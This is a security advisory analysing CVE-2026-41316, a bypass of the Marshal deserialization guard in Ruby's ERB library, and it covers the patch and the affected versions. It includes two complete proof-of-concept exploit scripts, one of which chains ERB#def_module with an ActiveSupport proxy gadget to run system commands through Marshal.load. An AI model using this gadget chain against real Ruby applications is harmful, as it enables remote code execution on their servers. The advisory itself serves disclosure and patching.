Introduction
A six year old deserialization guard in Ruby's ERB templating library turns out to have been incomplete the entire time, leaving three public methods as unprotected code execution sinks. CVE-2026-41316 (CVSS 8.1) allows an attacker to bypass the @_init protection mechanism and achieve remote code execution through Marshal.load in any Ruby application that has both erb and activesupport loaded, which describes practically every Rails deployment in production today.
The vulnerability was reported by TristanInSec and patched by the Ruby core team on April 21, 2026. While exploitation requires an existing unsafe Marshal.load call as an entry point, the public availability of a complete proof of concept and the ubiquity of Rails make this a priority patch for any Ruby shop.
Technical Information
The Original Guard and Its Gap
When Ruby 2.7.0 shipped, the ERB library introduced an @_init instance variable as a deserialization guard. During normal construction via ERB#initialize, the sentinel value self.class.singleton_class is stored in @_init. Before evaluating a template, ERB#result and ERB#run compare @_init against this expected sentinel using .equal? (identity comparison). Since Marshal cannot serialize a singleton class, any ERB object reconstructed through Marshal.load will have an @_init value that fails this check, blocking code execution.
The problem: three other public methods also reach eval(@src) but were never given this guard. Those methods are ERB#def_method, ERB#def_module, and ERB#def_class. All three ultimately call eval() on the @src instance variable without verifying @_init.
Of these, def_module is the most dangerous because it accepts zero arguments (all its parameters have default values). Deserialization gadget chains typically require zero argument methods to function, making def_module a perfect exploitation target.
The Method Wrapper Breakout
The def_method function wraps the @src variable inside a method definition before passing it to module_eval. Under normal circumstances, code inside a method body only executes when the method is called. However, an attacker can craft @src to begin with an end statement, which closes the method definition prematurely. Any code placed after this first end executes immediately during the module_eval phase.
# Attacker sets @src = "end\nsystem('id')\ndef x" # After def_method transformation, module_eval receives: # # def erb # end # system('id') <- executes at eval time # def x # end
This breakout technique is what transforms a seemingly safe method definition wrapper into an arbitrary code execution primitive.
The Full Gadget Chain
To achieve RCE via Marshal.load, the attacker combines the ERB bypass with ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget. The chain works as follows:
Marshal.loadreconstructs aHashthat uses theDeprecatedInstanceVariableProxyas a key.- Hash key insertion calls
.hashon the proxy object. - Because
.hashis not defined on the proxy,method_missing(:hash)fires and dispatches the call to the wrapped ERB object'sdef_modulemethod. def_moduledelegates todef_method, which callsmodule_eval(eval(src)).- The method body breakout triggers, and the injected
system('id')command executes immediately.
Prerequisites for Exploitation
The vulnerability is not independently exploitable. Three conditions must be met simultaneously:
| Requirement | Description |
|---|---|
| Untrusted Data to Marshal.load | The application must pass attacker controlled data to Marshal.load, which acts as the primary entry point for the payload. |
| ActiveSupport Loaded | The activesupport library must be present in the runtime to provide the necessary proxy gadget for the chain. |
| ERB Loaded | The erb library must be present in the runtime to provide the vulnerable def_module sink. |
Typical vulnerable scenarios include Rails applications importing untrusted serialized data, legacy Rails applications using Marshal for cookie session serialization, or systems with unprotected import endpoints for Marshal dumps.
Proof of Concept
A public Proof of Concept is available directly within the GitHub Security Advisory GHSA-q339-8rmv-2mhv, published on April 21, 2026 by k0kubun. The vulnerability was originally reported by TristanInSec.
PoC 1: Minimal (ERB Only)
This variant demonstrates that ERB#result correctly blocks execution on a non initialized ERB object, while ERB#def_module does not:
require 'erb' erb = ERB.allocate erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x") erb.instance_variable_set(:@lineno, 0) # ERB#result correctly blocks this: begin erb.result rescue ArgumentError => e puts "result: #{e.message} (blocked by @_init -- correct)" end # ERB#def_module does NOT block this -- executes system('id'): erb.def_module # Output: uid=0(root) gid=0(root) groups=0(root)
The attacker sets @src to "end\nsystem('id')\ndef x". When def_method wraps this in a method body, the injected end closes the method definition early, and system('id') executes immediately at module_eval time.
PoC 2: Marshal Deserialization RCE (ERB + ActiveSupport)
This variant achieves full Remote Code Execution through Marshal.load by leveraging ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy as a method dispatch gadget to invoke ERB#def_module:
require 'active_support' require 'active_support/deprecation' require 'active_support/deprecation/proxy_wrappers' require 'erb' # --- Build payload (replace proxy class for marshaling) --- real_class = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) class ActiveSupport::Deprecation class DeprecatedInstanceVariableProxy def initialize(h) h.each { |k, v| instance_variable_set(k, v) } end end end erb = ERB.allocate erb.instance_variable_set(:@src, "end\nsystem('id')\ndef x") erb.instance_variable_set(:@lineno, 0) erb.instance_variable_set(:@filename, nil) proxy = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new({ :@instance => erb, :@method => :def_module, :@var => "@x", :@deprecator => Kernel }) marshaled = Marshal.dump({proxy => 0}) # --- Restore real class and trigger --- ActiveSupport::Deprecation.send(:remove_const, :DeprecatedInstanceVariableProxy) ActiveSupport::Deprecation.const_set(:DeprecatedInstanceVariableProxy, real_class) # This triggers RCE: Marshal.load(marshaled) # Output: uid=0(root) gid=0(root) groups=0(root)
This was verified on Ruby 3.3.8 / RubyGems 3.6.7 / ActiveSupport 7.2.3 / ERB 6.0.1. Any Ruby application that calls Marshal.load on untrusted data while having both erb and activesupport loaded is vulnerable.
Patch Information
The official fix was published on April 21, 2026, in commit 9d017be by Takashi Kokubun (k0kubun), co authored with Tristan Madani (the original reporter). The fix is available in ERB gem versions 4.0.3.1, 4.0.4.1, 6.0.1.1, and 6.0.4. Upgrading Ruby itself to version 4.0.3 will also pull in ERB 6.0.1.1 with the fix included.
The patch is elegant in its simplicity. It adds the identical @_init guard directly to ERB#def_method. Because both def_module and def_class internally delegate to def_method, this single three line insertion covers all three bypass paths at once:
def def_method(mod, methodname, fname='(ERB)') + unless @_init.equal?(self.class.singleton_class) + raise ArgumentError, "not initialized" + end src = self.src.sub(/^(?!#|$)/) {"def #{methodname}\n"} << "\nend\n" mod.module_eval do eval(src, binding, fname, -1)
The patched def_method now checks whether @_init points to self.class.singleton_class before proceeding, exactly mirroring the guard already present in ERB#result. If the check fails (as it always will for Marshal loaded ERB instances, since singleton classes cannot survive serialization), an ArgumentError with the message "not initialized" is raised, halting execution before eval is ever reached.
The commit also includes 27 lines of new test coverage in test/erb/test_erb.rb, adding three dedicated test methods: test_prohibited_marshal_load_def_method, test_prohibited_marshal_load_def_module, and test_prohibited_marshal_load_def_class. Each test allocates an ERB object, sets @_init to a non sentinel value (true), serializes and deserializes it via Marshal.dump/Marshal.load, and then asserts that the corresponding method raises ArgumentError.
To apply the fix, run bundle update erb in your application directory.
Affected Systems and Versions
The vulnerability affects ERB versions up to and including 6.0.3. Specifically:
| Affected Version Range | Patched Version |
|---|---|
| ERB < 4.0.3.1 | 4.0.3.1 |
| ERB 4.0.4.x before 4.0.4.1 | 4.0.4.1 |
| ERB 6.0.x before 6.0.1.1 (6.0.1 series) | 6.0.1.1 |
| ERB 6.0.2 through 6.0.3 | 6.0.4 |
Ruby 4.0.3 ships with ERB 6.0.1.1, which includes the fix.
The vulnerability is exploitable in any Ruby application that meets all three conditions: it calls Marshal.load on untrusted data, has the erb library loaded, and has the activesupport library loaded. This combination describes virtually all Ruby on Rails applications, as ERB is the default template engine for Rails.
Vendor Security History
CVE-2026-41316 represents the sixth generation of functional Marshal gadget chains discovered in the Ruby ecosystem between 2018 and 2026. Previous chains exploited components like Gem::Requirement and Gem::Specification._load. The Ruby team has consistently patched these individual gadgets as they are reported, but the fundamental issue persists: Marshal.load can deserialize almost any Ruby object and instantiate arbitrary classes. The Ruby security documentation has long warned developers against using Marshal.load on untrusted data, and the recommended long term approach remains to avoid Marshal.load entirely for untrusted input, favoring safer formats such as JSON.
The vendor's response to this specific CVE was prompt. The advisory and patched versions of both the gem and the core Ruby language were released simultaneously on April 21, 2026.
References
- GitHub Security Advisory GHSA-q339-8rmv-2mhv
- CVE-2026-41316 on NVD
- Ruby Official Advisory: CVE-2026-41316
- Patch Commit 9d017be on GitHub
- Ruby 4.0.3 Release Announcement
- ERB on RubyGems
- Heise: Critical vulnerability in Ruby's standard library ERB
- Ruby Security Documentation (Marshal and YAML risks)
- Trail of Bits: Ruby Security Field Guide on YAML



